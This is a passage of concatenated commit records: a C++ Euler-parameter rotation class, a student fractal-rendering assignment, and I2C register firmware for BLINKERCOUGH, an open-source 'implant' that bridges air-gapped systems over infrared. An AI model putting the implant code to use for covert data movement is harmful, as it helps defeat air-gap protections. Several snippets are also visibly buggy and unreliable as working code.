q4;\n\t }\n}\n\nconst Real & EulerParameterVector::operator()(Index i) const\n{\n\t switch(i)\n\t {\n\t case 1:\n\t\t  return q1;\n\t case 2:\n\t\t  return q2;\n\t case 3:\n\t\t  return q3;\n\t case 4:\n\t\t  return q4;\n\t }\n}\n\nstd::ostream & operator<<(std::ostream & os, const EulerParameterVector & ep)\n{\n\t os<<std::scientific\n\t   <<\"( \"<<ep.q1\n\t   <<\", \"<<ep.q2\n\t   <<\", \"<<ep.q3\n\t   <<\", \"<<ep.q4\n\t   <<\" )\";\n}\n\n}}\/\/::numlib::tensor\n<commit_msg>Added assertion to verify unit magnitude of rotation axis vector<commit_after>\/*! \\file EulerParameterVector.cpp\n *\/\n\n#include \"EulerParameterVector.h\"\n\nnamespace numlib{ namespace tensor{\n\nEulerParameterVector::EulerParameterVector(Real q1_, Real q2_, Real q3_, Real q4_):\n\t q1(q1_),\n\t q2(q2_),\n\t q3(q3_),\n\t q4(q4_)\n{\n}\n\nEulerParameterVector::EulerParameterVector(const TensorR2 & r)\n{\n\t using std::sqrt;\n\n\t Real r12 = r(1,2);\n\t Real r21 = r(2,1);\n\n\t Real r13 = r(1,3);\n\t Real r31 = r(3,1);\n\n\t Real r23 = r(2,3);\n\t Real r32 = r(3,2);\n\n\t q4 = sqrt(0.25*(trace(r) + 1.0));\n\n\t Real q44 = 4.0*q4;\n\n\t q1 = (r32 - r23)\/q44;\n\t q2 = (r13 - r31)\/q44;\n\t q3 = (r21 - r12)\/q44;\n}\n\nEulerParameterVector::EulerParameterVector(const TensorR1 & e, Real theta)\n{\n\t using std::cos;\n\t using std::sin;\n\n\t Real theta2 = 0.5*theta;\n\t Real c = cos(theta2);\n\t Real s = sin(theta2);\n\n\t q4 = c;\n\t q1 = e(1)*s;\n\t q2 = e(2)*s;\n\t q3 = e(3)*s;\n}\n\nEulerParameterVector::EulerParameterVector(const EulerParameterVector & other):\n\t q1(other.q1),\n\t q2(other.q2),\n\t q3(other.q3),\n\t q4(other.q4)\n{\n}\n\nEulerParameterVector::~EulerParameterVector()\n{\n\t \/* nothing to delete *\/\n}\n\nEulerParameterVector & EulerParameterVector::operator=(const EulerParameterVector & other)\n{\n\t if(&other == this)\n\t\t  return *this;\n\n\t q1 = other.q1;\n\t q2 = other.q2;\n\t q3 = other.q3;\n\t q4 = other.q4;\n\n\t return *this;\n\t \n}\n\nReal EulerParameterVector::rotationAngle() const\n{\n\t using std::acos;\n\n\t return 2.0*acos(q4);\n}\n\nTensorR1 EulerParameterVector::rotationAxis() const\n{\n\t using std::sin;\n\n\t Real theta = rotationAngle();\n\n\t \/* theta should be mod to [0, pi) *\/\n\n\t if(theta == 0.0)\n\t\t  return TensorR1(0.0, 0.0, 0.0);\n\n\t Real s = sin(0.5*theta);\n\n\t Real e1 = q1\/s;\n\t Real e2 = q2\/s;\n\t Real e3 = q3\/s;\n\n\t ASSERT( fabs(e1*e1 + e2*e2 + e3*e3 - 1.0) < 1.0E-10 );\n\n\t return TensorR1(e1, e2, e3);\n}\n\nReal & EulerParameterVector::operator()(Index i)\n{\n\t switch(i)\n\t {\n\t case 1:\n\t\t  return q1;\n\t case 2:\n\t\t  return q2;\n\t case 3:\n\t\t  return q3;\n\t case 4:\n\t\t  return q4;\n\t }\n}\n\nconst Real & EulerParameterVector::operator()(Index i) const\n{\n\t switch(i)\n\t {\n\t case 1:\n\t\t  return q1;\n\t case 2:\n\t\t  return q2;\n\t case 3:\n\t\t  return q3;\n\t case 4:\n\t\t  return q4;\n\t }\n}\n\nstd::ostream & operator<<(std::ostream & os, const EulerParameterVector & ep)\n{\n\t os<<std::scientific\n\t   <<\"( \"<<ep.q1\n\t   <<\", \"<<ep.q2\n\t   <<\", \"<<ep.q3\n\t   <<\", \"<<ep.q4\n\t   <<\" )\";\n}\n\n}}\/\/::numlib::tensor\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * BLINKERCOUGH: NSA Playset implant for IR bridging of airgap\n *\n * Copyright (C) 2015  Hacker, J.R. <r00tkillah@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#include \"i2c.h\"\n#include \"util.h\"\n#include \"EventManager.h\"\n#include \"mac.h\"\n\nextern EventManager eventManager;\n\n#define I2CTXEVENT 500\n#define I2CTXQEVENT 501\n\ni2cRegisters i2cRegs;\n\nvoid xmit(int event, int param);\nGenericCallable<void(int,int)> i2c_xmit(xmit);\nMemberFunctionCallable<i2cRegisters> recv_hook(&i2cRegs, &i2cRegisters::recvHook);\nMemberFunctionCallable<i2cRegisters> txenqueue_hook(&i2cRegs, &i2cRegisters::txenqueueHook);\n\nvoid i2cReceiveCallback(int count)\n{\n    int a = 0;\n    uint8_t address = 0;\n    uint8_t data = 0;\n\n    while (Wire.available() > 0) {\n        uint8_t d = Wire.read();\n\n        if (a == 0) {\n            address = d;\n        } else if (a == 1) {\n            data = d;\n        }\n        a++;\n    }\n    if (a == 1) {\n        \/\/This is a read and the byte is the address.\n\n        \/\/calling with the c mode seems to cause a request to get issued.\n        i2cRegs.address = address;\n    }\n    if (a >= 2) {\n        \/\/This is a write\n        i2cRegs.write(address, data);\n    }\n}\n\nvoid i2cRequestCallback(void)\n{\n    Wire.write(i2cRegs.read());\n}\n\ni2cRegisters::i2cRegisters() : rxq_depth(0), rxq(0), txq_depth(0), txq(0)\n{\n}\n\nvoid i2cRegisters::begin()\n{\n    Wire.begin(SLAVE_ADDRESS);\n    Wire.onReceive(i2cReceiveCallback);\n    Wire.onRequest(i2cRequestCallback);\n\n    eventManager.addListener(I2CTXEVENT, &i2c_xmit);\n    eventManager.addListener(I2CTXQEVENT, &txenqueue_hook);\n    eventManager.addListener(BlinkerMac::ValidFrameRecievedEvent, &recv_hook);\n}\n\nvoid xmit(int event, int param)\n{\n    auto frame = (IRFrame*)param;\n\n    debug(\"sending frame reg set to 0x%04x\", frame->destination);\n\n    frame->hops = 0;\n    frame->source = mac.get_address();\n    frame->type = DATA_FRAME;\n    frame->hton();\n    frame->calculate_crc();\n\n    IRFrame::hexdump(frame);\n    mac.send_frame(*frame);\n\n    FrameFactory.free(frame);\n}\n\nvoid i2cRegisters::write(uint8_t address, uint8_t data)\n{\n    switch (address) {\n    case 3:\n        eventManager.queueEvent(I2CTXQEVENT, (int)data);\n        break;\n\n    case 4:\n        {\n            union Splitter {\n                uint16_t address;\n                uint8_t  bytes[2];\n            } splitter;\n            splitter.address = mac.get_address();\n            splitter.bytes[0] = data;\n            mac.set_address(splitter.address);\n        }\n\n    case 5:\n        {\n            union Splitter {\n                uint16_t address;\n                uint8_t  bytes[2];\n            } splitter;\n            splitter.address = mac.get_address();\n            splitter.bytes[1] = data;\n            mac.set_address(splitter.address);\n        }\n    case 6: \/\/new secret register: send a garbage packet\n        {\n            auto frame = FrameFactory.alloc();\n            for (uint16_t i = 0; i < sizeof(IRFrame); i++) {\n                frame->blob()[i] = random(256);\n            }\n            eventManager.queueEvent(I2CTXEVENT, (int)frame);\n        }\n\n    default:\n        break;\n    }\n}\n\nuint8_t i2cRegisters::read(uint8_t addr)\n{\n    address = addr;\n    return read();\n}\n\nuint8_t i2cRegisters::read()\n{\n    uint8_t ret = 0;\n    switch (address) {\n    case 0: \/\/rxq depth\n        ret = rxq_depth;\n        break;\n\n    case 1: \/\/rxq data\n        if (rxq_depth > 0 && rxq) {\n            ret = ((IRFrame*)rxq)->blob()[rxq_depth - 1];\n            rxq_depth--;\n            if (rxq_depth == 0) {\n                FrameFactory.free((IRFrame*)rxq);\n                rxq = 0;\n            }\n        }\n        break;\n\n    case 2: \/\/txq depth:\n        ret = txq_depth;\n        break;\n\n    case 3: \/\/txq data:\n        \/\/reading txq is invalid\n\n    case 4: \/\/address lower byte\n        ret = lowByte(mac.get_address());\n        break;\n\n    case 5: \/\/address upper byte\n        ret = highByte(mac.get_address());\n        break;\n\n    case 6: \/\/high water mark\n        ret = FrameFactory.get_high_water_mark();\n        break;\n\n    default: \/\/ruhoh\n        \/\/can't print here b\/c in interrupt handler\n        break;\n    }\n    return ret;\n}\n\nvoid i2cRegisters::recvHook(int event, int param)\n{\n    auto frame = (IRFrame *)param;\n\n    if (!rxq) {\n        \/\/ if rxq points to something, we have a buffer overrun\n        rxq = FrameFactory.alloc();\n        IRFrame::copy((IRFrame*)rxq, frame);\n        rxq_depth = sizeof(IRFrame);\n    } else {\n        debug(\"recv queue buffer overrun!\");\n    }\n    FrameFactory.free(frame);\n}\n\nvoid i2cRegisters::txenqueueHook(int event, int param)\n{\n    uint8_t data = param;\n    if (txq == NULL) {\n        txq = FrameFactory.alloc();\n    }\n    if (txq_depth < sizeof(IRFrame)) {\n        ((IRFrame*)txq)->blob()[txq_depth] = data;\n        txq_depth++;\n    }\n    if (txq_depth == sizeof(IRFrame)) {\n        debug(\"filled tx queue.. sending\");\n        \/\/we just filled the tx queue and are ready to xmit\n        IRFrame *frame = FrameFactory.alloc();\n        IRFrame::copy(frame, (IRFrame*)txq);\n\n        eventManager.queueEvent(I2CTXEVENT, (int)frame);\n    \n        FrameFactory.free((IRFrame*)txq);\n        txq = 0;\n        txq_depth = 0;\n    }\n}\n\n\n\n\n\/*\n * Editor modelines  -  https:\/\/www.wireshark.org\/tools\/modelines.html\n *\n * Local variables:\n * mode: c++\n * c-basic-offset: 4\n * tab-width: 8\n * indent-tabs-mode: nil\n * End:\n *\n * vi: set shiftwidth=4 tabstop=8 expandtab:\n * :indentSize=4:tabSize=8:noTabs=true:\n *\/\n<commit_msg>add new \"secret\" reset register<commit_after>\/*\n * BLINKERCOUGH: NSA Playset implant for IR bridging of airgap\n *\n * Copyright (C) 2015  Hacker, J.R. <r00tkillah@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#include \"i2c.h\"\n#include \"util.h\"\n#include \"EventManager.h\"\n#include \"mac.h\"\n\nextern EventManager eventManager;\n\n#define I2CTXEVENT 500\n#define I2CTXQEVENT 501\n\ni2cRegisters i2cRegs;\n\nvoid xmit(int event, int param);\nGenericCallable<void(int,int)> i2c_xmit(xmit);\nMemberFunctionCallable<i2cRegisters> recv_hook(&i2cRegs, &i2cRegisters::recvHook);\nMemberFunctionCallable<i2cRegisters> txenqueue_hook(&i2cRegs, &i2cRegisters::txenqueueHook);\n\nvoid i2cReceiveCallback(int count)\n{\n    int a = 0;\n    uint8_t address = 0;\n    uint8_t data = 0;\n\n    while (Wire.available() > 0) {\n        uint8_t d = Wire.read();\n\n        if (a == 0) {\n            address = d;\n        } else if (a == 1) {\n            data = d;\n        }\n        a++;\n    }\n    if (a == 1) {\n        \/\/This is a read and the byte is the address.\n\n        \/\/calling with the c mode seems to cause a request to get issued.\n        i2cRegs.address = address;\n    }\n    if (a >= 2) {\n        \/\/This is a write\n        i2cRegs.write(address, data);\n    }\n}\n\nvoid i2cRequestCallback(void)\n{\n    Wire.write(i2cRegs.read());\n}\n\ni2cRegisters::i2cRegisters() : rxq_depth(0), rxq(0), txq_depth(0), txq(0)\n{\n}\n\nvoid i2cRegisters::begin()\n{\n    Wire.begin(SLAVE_ADDRESS);\n    Wire.onReceive(i2cReceiveCallback);\n    Wire.onRequest(i2cRequestCallback);\n\n    eventManager.addListener(I2CTXEVENT, &i2c_xmit);\n    eventManager.addListener(I2CTXQEVENT, &txenqueue_hook);\n    eventManager.addListener(BlinkerMac::ValidFrameRecievedEvent, &recv_hook);\n}\n\nvoid xmit(int event, int param)\n{\n    auto frame = (IRFrame*)param;\n\n    debug(\"sending frame reg set to 0x%04x\", frame->destination);\n\n    frame->hops = 0;\n    frame->source = mac.get_address();\n    frame->type = DATA_FRAME;\n    frame->hton();\n    frame->calculate_crc();\n\n    IRFrame::hexdump(frame);\n    mac.send_frame(*frame);\n\n    FrameFactory.free(frame);\n}\n\nvoid i2cRegisters::write(uint8_t address, uint8_t data)\n{\n    switch (address) {\n    case 3:\n        eventManager.queueEvent(I2CTXQEVENT, (int)data);\n        break;\n\n    case 4:\n        {\n            union Splitter {\n                uint16_t address;\n                uint8_t  bytes[2];\n            } splitter;\n            splitter.address = mac.get_address();\n            splitter.bytes[0] = data;\n            mac.set_address(splitter.address);\n        }\n\n    case 5:\n        {\n            union Splitter {\n                uint16_t address;\n                uint8_t  bytes[2];\n            } splitter;\n            splitter.address = mac.get_address();\n            splitter.bytes[1] = data;\n            mac.set_address(splitter.address);\n        }\n    case 6: \/\/new secret register: send a garbage packet\n        {\n            auto frame = FrameFactory.alloc();\n            for (uint16_t i = 0; i < sizeof(IRFrame); i++) {\n                frame->blob()[i] = random(256);\n            }\n            eventManager.queueEvent(I2CTXEVENT, (int)frame);\n        }\n    case 7: \/\/new secret register: \"reset\"\n        \/\/actually, this isn't a reset.  wdt reset seems to cause an\n        \/\/infinite loop.  This may be due to the bootloader, or\n        \/\/perhaps setup() is not early enough.\n        asm volatile (\"  jmp 0\");\n        break;\n\n    default:\n        break;\n    }\n}\n\nuint8_t i2cRegisters::read(uint8_t addr)\n{\n    address = addr;\n    return read();\n}\n\nuint8_t i2cRegisters::read()\n{\n    uint8_t ret = 0;\n    switch (address) {\n    case 0: \/\/rxq depth\n        ret = rxq_depth;\n        break;\n\n    case 1: \/\/rxq data\n        if (rxq_depth > 0 && rxq) {\n            ret = ((IRFrame*)rxq)->blob()[rxq_depth - 1];\n            rxq_depth--;\n            if (rxq_depth == 0) {\n                FrameFactory.free((IRFrame*)rxq);\n                rxq = 0;\n            }\n        }\n        break;\n\n    case 2: \/\/txq depth:\n        ret = txq_depth;\n        break;\n\n    case 3: \/\/txq data:\n        \/\/reading txq is invalid\n\n    case 4: \/\/address lower byte\n        ret = lowByte(mac.get_address());\n        break;\n\n    case 5: \/\/address upper byte\n        ret = highByte(mac.get_address());\n        break;\n\n    case 6: \/\/high water mark\n        ret = FrameFactory.get_high_water_mark();\n        break;\n\n    default: \/\/ruhoh\n        \/\/can't print here b\/c in interrupt handler\n        break;\n    }\n    return ret;\n}\n\nvoid i2cRegisters::recvHook(int event, int param)\n{\n    auto frame = (IRFrame *)param;\n\n    if (!rxq) {\n        \/\/ if rxq points to something, we have a buffer overrun\n        rxq = FrameFactory.alloc();\n        IRFrame::copy((IRFrame*)rxq, frame);\n        rxq_depth = sizeof(IRFrame);\n    } else {\n        debug(\"recv queue buffer overrun!\");\n    }\n    FrameFactory.free(frame);\n}\n\nvoid i2cRegisters::txenqueueHook(int event, int param)\n{\n    uint8_t data = param;\n    if (txq == NULL) {\n        txq = FrameFactory.alloc();\n    }\n    if (txq_depth < sizeof(IRFrame)) {\n        ((IRFrame*)txq)->blob()[txq_depth] = data;\n        txq_depth++;\n    }\n    if (txq_depth == sizeof(IRFrame)) {\n        debug(\"filled tx queue.. sending\");\n        \/\/we just filled the tx queue and are ready to xmit\n        IRFrame *frame = FrameFactory.alloc();\n        IRFrame::copy(frame, (IRFrame*)txq);\n\n        eventManager.queueEvent(I2CTXEVENT, (int)frame);\n    \n        FrameFactory.free((IRFrame*)txq);\n        txq = 0;\n        txq_depth = 0;\n    }\n}\n\n\n\n\n\/*\n * Editor modelines  -  https:\/\/www.wireshark.org\/tools\/modelines.html\n *\n * Local variables:\n * mode: c++\n * c-basic-offset: 4\n * tab-width: 8\n * indent-tabs-mode: nil\n * End:\n *\n * vi: set shiftwidth=4 tabstop=8 expandtab:\n * :indentSize=4:tabSize=8:noTabs=true:\n *\/\n<|endoftext|>"}
{"text":"<commit_before>#include <cassert>\n#include <fstream>\n#include <glm\/gtc\/type_ptr.hpp>\n\n#include \"ifs.h\"\n#include \"argparser.h\"\n\n\/\/ ====================================================================\n\/\/ ====================================================================\n\nIFS::IFS(ArgParser *a) : args(a) {\n\n  \/\/ open the file\n  std::ifstream input((args->path+\"\/\"+args->input_file).c_str());\n  if (!input.good()) {\n    std::cout << \"ERROR: must specify valid input file\" << args->path+\"\/\"+args->input_file << std::endl;\n    exit(1);\n  }\n\n  \/\/ read the number of transforms\n  int num_transforms; \n  input >> num_transforms;\n\n  \/\/ resize transforms and probabilities arrays based on num_transforms\n  \/\/ TODO: test\n  probabilities.resize(num_transforms);\n  transforms.resize(num_transforms);\n\n  \/\/ read in the transforms\n  for (int i = 0; i < num_transforms; i++) {\n    float probability; \n    input >> probability;\n    float float_data[16];\n    for (int row = 0; row < 4; row++) {\n      for (int col = 0; col < 4; col++) {\n        input >> float_data[col*4+row];\n      }\n    } \n    glm::mat4 m = glm::make_mat4(float_data);\n\n\n    \/\/ ASSIGNMENT: do something with each probability & matrix\n    \/\/ TODO: test\n    transforms[i] = m;\n    probabilities[i] = probability;\n  }  \n\n  \/\/ TODO: test\n  \/\/ sum probabilities\n  float probabilities_sum;\n  for (int i = 0; i < probabilities.size(); i++) {\n    probabilities_sum += probabilities[i];\n  }\n  if (probabilities_sum != 1.0) {\n    \/\/ scale probabilities to sum of 1.0 to avoid probability errors\n    \/\/ TODO: throw an error so data can be addressed?\n    probabilities_scale = 1.0\/probabilities_sum;\n    for (int i = 0; i < probabilities.size(); i++) {\n      probabilities[i] *= probabilities_scale;\n    }\n  }  \n\n}\n\n\/\/ ====================================================================\n\/\/ ====================================================================\n\nvoid IFS::setupVBOs() {\n  HandleGLError(\"enter setupVBOs\");\n  if (args->cubes) {\n    setupCube();\n  } else {\n    setupPoints();\n  }\n  HandleGLError(\"leaving setupVBOs\");\n}\n\n\n\/\/ NOTE: The matrix that is passed in contains the transformations for\n\/\/ the current camera\/view position.  When drawing the objects in the\n\/\/ scene you can apply additional transformations by multiplying your\n\/\/ own matrices with this matrix before calling draw.\n\nvoid IFS::drawVBOs(GLuint MatrixID,const glm::mat4 &m) {\n  HandleGLError(\"enter drawVBOs\");\n  if (args->cubes) {\n\n\n\n    \/\/ ASSIGNMENT: don't just draw one cube...\n    glUniformMatrix4fv(MatrixID, 1, GL_FALSE, &m[0][0]);\n    drawCube();\n\n\n\n  } else {\n    glUniformMatrix4fv(MatrixID, 1, GL_FALSE, &m[0][0]);\n    drawPoints();\n  }\n  HandleGLError(\"leaving drawVBOs\");\n}\n\nvoid IFS::cleanupVBOs() {\n  HandleGLError(\"enter cleanupVBOs\");\n  if (args->cubes) {\n    cleanupCube();\n  } else {\n    cleanupPoints();\n  }\n  HandleGLError(\"leaving cleanupVBOs\");\n}\n\n\/\/ ====================================================================\n\/\/ ====================================================================\n\nvoid IFS::setupPoints() {\n  HandleGLError(\"enter setupPoints\");\n\n  \/\/ allocate space for the data\n  VertexPosColor* points = new VertexPosColor[args->points];\n\n  \/\/ generate a block of random data\n  for (int i = 0; i < args->points; i++) {\n    double x = args->mtrand.rand();\n    double y = args->mtrand.rand();\n    double z = args->mtrand.rand();\n    glm::vec4 pt(x,y,z,1);\n\n\n    \/\/ ASSIGNMENT: manipulate point\n    \/\/ TOD0: test\n    for (ifs_iters = 0; ifs_iters < args->iters; ifs_iters++)\n    {\n      int pt_i;\n      float probability_r = 1.0;\n      \/\/ randomly select index of transform to apply based on probabilities\n      for (pt_i = 0; pt_i < transforms.size() - 1; pt_i++){\n        std::bernoulli_distribution bd( probabilities[i] \/ probability_r );\n        if bd(args->mtrand.rand()) break;\n        probability_r -= probabilities[i];\n      }\n      \/\/ apply tranform to point\n      pt *= transforms[pt_i];\n\n    }\n\n    \/\/ store point\n    points[i] = VertexPosColor(pt);\n  }\n\n  \/\/ create a pointer for the VBO\n  glGenVertexArrays(1, &VaoId);\n  glBindVertexArray(VaoId);\n  glGenBuffers(1, &VboId);\n  glBindBuffer(GL_ARRAY_BUFFER,VboId); \n  glBufferData(GL_ARRAY_BUFFER,sizeof(VertexPosColor) * args->points,points,GL_STATIC_DRAW); \n  glEnableVertexAttribArray(0);\n  glVertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, sizeof(VertexPosColor), 0);\n  glEnableVertexAttribArray(1);\n  glVertexAttribPointer(1, 4, GL_FLOAT, GL_FALSE, sizeof(VertexPosColor), (GLvoid*)sizeof(glm::vec4));\n  \n  \/\/ increase the size of the points slightly\n  glPointSize(2.0);\n\n  delete [] points;\n  HandleGLError(\"leaving setupPoints\");\n}\n\n\nvoid IFS::drawPoints() const {\n  HandleGLError(\"enter drawPoints\");\n  glDrawArrays(GL_POINTS, 0, args->points);\n  HandleGLError(\"leaving drawPoints\");\n}\n\n\nvoid IFS::cleanupPoints() {\n  glDeleteBuffers(1, &VaoId);\n  glDeleteBuffers(1, &VboId);\n}\n\n\/\/ ====================================================================\n\/\/ ====================================================================\n\nvoid IFS::setupCube() {\n\n  HandleGLError(\"enter setupCube\");\n  \n  VertexPosColor Vertices[] =\n    {\n      \/\/ back face, cyan\n      VertexPosColor(glm::vec4(0,0,0, 1.0f),glm::vec4(0,1,1, 1.0f)),\n      VertexPosColor(glm::vec4(0,1,0, 1.0f),glm::vec4(0,1,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,0, 1.0f),glm::vec4(0,1,1, 1.0f)),\n      \n      VertexPosColor(glm::vec4(0,0,0, 1.0f),glm::vec4(0,1,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,0, 1.0f),glm::vec4(0,1,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,0,0, 1.0f),glm::vec4(0,1,1, 1.0f)),\n      \n      \/\/ front face, red\n      VertexPosColor(glm::vec4(0,0,1, 1.0f),glm::vec4(1,0,0, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,1, 1.0f),glm::vec4(1,0,0, 1.0f)),\n      VertexPosColor(glm::vec4(0,1,1, 1.0f),glm::vec4(1,0,0, 1.0f)),\n      \n      VertexPosColor(glm::vec4(0,0,1, 1.0f),glm::vec4(1,0,0, 1.0f)),\n      VertexPosColor(glm::vec4(1,0,1, 1.0f),glm::vec4(1,0,0, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,1, 1.0f),glm::vec4(1,0,0, 1.0f)),\n      \n      \/\/ bottom face, purple\n      VertexPosColor(glm::vec4(0,0,0, 1.0f),glm::vec4(1,0,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,0,1, 1.0f),glm::vec4(1,0,1, 1.0f)),\n      VertexPosColor(glm::vec4(0,0,1, 1.0f),glm::vec4(1,0,1, 1.0f)),\n      \n      VertexPosColor(glm::vec4(0,0,0, 1.0f),glm::vec4(1,0,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,0,0, 1.0f),glm::vec4(1,0,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,0,1, 1.0f),glm::vec4(1,0,1, 1.0f)),\n    \n      \/\/ top face, green\n      VertexPosColor(glm::vec4(0,1,0, 1.0f),glm::vec4(0,1,0, 1.0f)),\n      VertexPosColor(glm::vec4(0,1,1, 1.0f),glm::vec4(0,1,0, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,1, 1.0f),glm::vec4(0,1,0, 1.0f)),\n      \n      VertexPosColor(glm::vec4(0,1,0, 1.0f),glm::vec4(0,1,0, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,1, 1.0f),glm::vec4(0,1,0, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,0, 1.0f),glm::vec4(0,1,0, 1.0f)),\n\n      \/\/ left face, yellow\n      VertexPosColor(glm::vec4(0,0,0, 1.0f),glm::vec4(1,1,0, 1.0f)),\n      VertexPosColor(glm::vec4(0,0,1, 1.0f),glm::vec4(1,1,0, 1.0f)),\n      VertexPosColor(glm::vec4(0,1,1, 1.0f),glm::vec4(1,1,0, 1.0f)),\n      \n      VertexPosColor(glm::vec4(0,0,0, 1.0f),glm::vec4(1,1,0, 1.0f)),\n      VertexPosColor(glm::vec4(0,1,1, 1.0f),glm::vec4(1,1,0, 1.0f)),\n      VertexPosColor(glm::vec4(0,1,0, 1.0f),glm::vec4(1,1,0, 1.0f)),\n\n      \/\/ right face, blue\n      VertexPosColor(glm::vec4(1,0,0, 1.0f),glm::vec4(0,0,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,1, 1.0f),glm::vec4(0,0,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,0,1, 1.0f),glm::vec4(0,0,1, 1.0f)),\n      \n      VertexPosColor(glm::vec4(1,0,0, 1.0f),glm::vec4(0,0,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,0, 1.0f),glm::vec4(0,0,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,1, 1.0f),glm::vec4(0,0,1, 1.0f))\n    };\n  \n  glGenVertexArrays(1, &VaoId);\n  glBindVertexArray(VaoId);\n  glGenBuffers(1, &VboId);\n  glBindBuffer(GL_ARRAY_BUFFER, VboId);\n  glBufferData(GL_ARRAY_BUFFER, sizeof(Vertices), Vertices, GL_STATIC_DRAW);\n  glEnableVertexAttribArray(0);\n  glVertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, sizeof(VertexPosColor), 0);\n  glEnableVertexAttribArray(1);\n  glVertexAttribPointer(1, 4, GL_FLOAT, GL_FALSE, sizeof(VertexPosColor), (GLvoid*)sizeof(glm::vec4));\n  \n  HandleGLError(\"leaving setupCcube\");\n}\n\n\nvoid IFS::drawCube() const {\n  HandleGLError(\"in drawCube\");\n  glDrawArrays(GL_TRIANGLES, 0, NUM_CUBE_VERTS);\n  HandleGLError(\"leaving drawCube\");\n}\n\n\nvoid IFS::cleanupCube() {\n  glDeleteBuffers(1, &VaoId);\n  glDeleteBuffers(1, &VboId);\n}\n\n\/\/ ====================================================================\n\/\/ ====================================================================\n\n<commit_msg>Comments for questions for TA \/ professor.<commit_after>#include <cassert>\n#include <fstream>\n#include <glm\/gtc\/type_ptr.hpp>\n\n#include \"ifs.h\"\n#include \"argparser.h\"\n\n\/\/ ====================================================================\n\/\/ ====================================================================\n\nIFS::IFS(ArgParser *a) : args(a) {\n\n  \/\/ open the file\n  std::ifstream input((args->path+\"\/\"+args->input_file).c_str());\n  if (!input.good()) {\n    std::cout << \"ERROR: must specify valid input file\" << args->path+\"\/\"+args->input_file << std::endl;\n    exit(1);\n  }\n\n  \/\/ read the number of transforms\n  int num_transforms; \n  input >> num_transforms;\n\n  \/\/ resize transforms and probabilities arrays based on num_transforms\n  \/\/ TODO: test\n  probabilities.resize(num_transforms);\n  transforms.resize(num_transforms);\n\n  \/\/ read in the transforms\n  for (int i = 0; i < num_transforms; i++) {\n    float probability; \n    input >> probability;\n    float float_data[16];\n    for (int row = 0; row < 4; row++) {\n      for (int col = 0; col < 4; col++) {\n        input >> float_data[col*4+row];\n      }\n    } \n    glm::mat4 m = glm::make_mat4(float_data);\n\n\n    \/\/ ASSIGNMENT: do something with each probability & matrix\n    \/\/ TODO: test\n    transforms[i] = m;\n    probabilities[i] = probability;\n  }  \n\n  \/\/ TODO: test\n  \/\/ sum probabilities\n  float probabilities_sum;\n  for (int i = 0; i < probabilities.size(); i++) {\n    probabilities_sum += probabilities[i];\n  }\n  if (probabilities_sum != 1.0) {\n    \/\/ scale probabilities to sum of 1.0 to avoid probability errors\n    \/\/ TODO: throw an error so data can be addressed?\n    probabilities_scale = 1.0\/probabilities_sum;\n    for (int i = 0; i < probabilities.size(); i++) {\n      probabilities[i] *= probabilities_scale;\n    }\n  }  \n\n}\n\n\/\/ ====================================================================\n\/\/ ====================================================================\n\n\n\/\/ TODO: where is this called? doesn't seem to be called anywhere.\nvoid IFS::setupVBOs() { \n  HandleGLError(\"enter setupVBOs\");\n  if (args->cubes) {\n    setupCube();\n  } else {\n    setupPoints();\n  }\n  HandleGLError(\"leaving setupVBOs\");\n}\n\n\n\/\/ NOTE: The matrix that is passed in contains the transformations for\n\/\/ the current camera\/view position.  When drawing the objects in the\n\/\/ scene you can apply additional transformations by multiplying your\n\/\/ own matrices with this matrix before calling draw.\n\nvoid IFS::drawVBOs(GLuint MatrixID,const glm::mat4 &m) {\n  HandleGLError(\"enter drawVBOs\");\n  if (args->cubes) {\n\n\n\n    \/\/ ASSIGNMENT: don't just draw one cube...\n    \/\/ TODO: is there a way to draw one cube per point? Or should I create a vector of cube transforms? Also, is there a way to push \/ pop transforms?\n    glUniformMatrix4fv(MatrixID, 1, GL_FALSE, &m[0][0]);\n    drawCube();\n\n\n\n  } else {\n    glUniformMatrix4fv(MatrixID, 1, GL_FALSE, &m[0][0]);\n    drawPoints();\n  }\n  HandleGLError(\"leaving drawVBOs\");\n}\n\nvoid IFS::cleanupVBOs() {\n  HandleGLError(\"enter cleanupVBOs\");\n  if (args->cubes) {\n    cleanupCube();\n  } else {\n    cleanupPoints();\n  }\n  HandleGLError(\"leaving cleanupVBOs\");\n}\n\n\/\/ ====================================================================\n\/\/ ====================================================================\n\nvoid IFS::setupPoints() {\n  HandleGLError(\"enter setupPoints\");\n\n  \/\/ allocate space for the data\n  VertexPosColor* points = new VertexPosColor[args->points];\n\n  \/\/ generate a 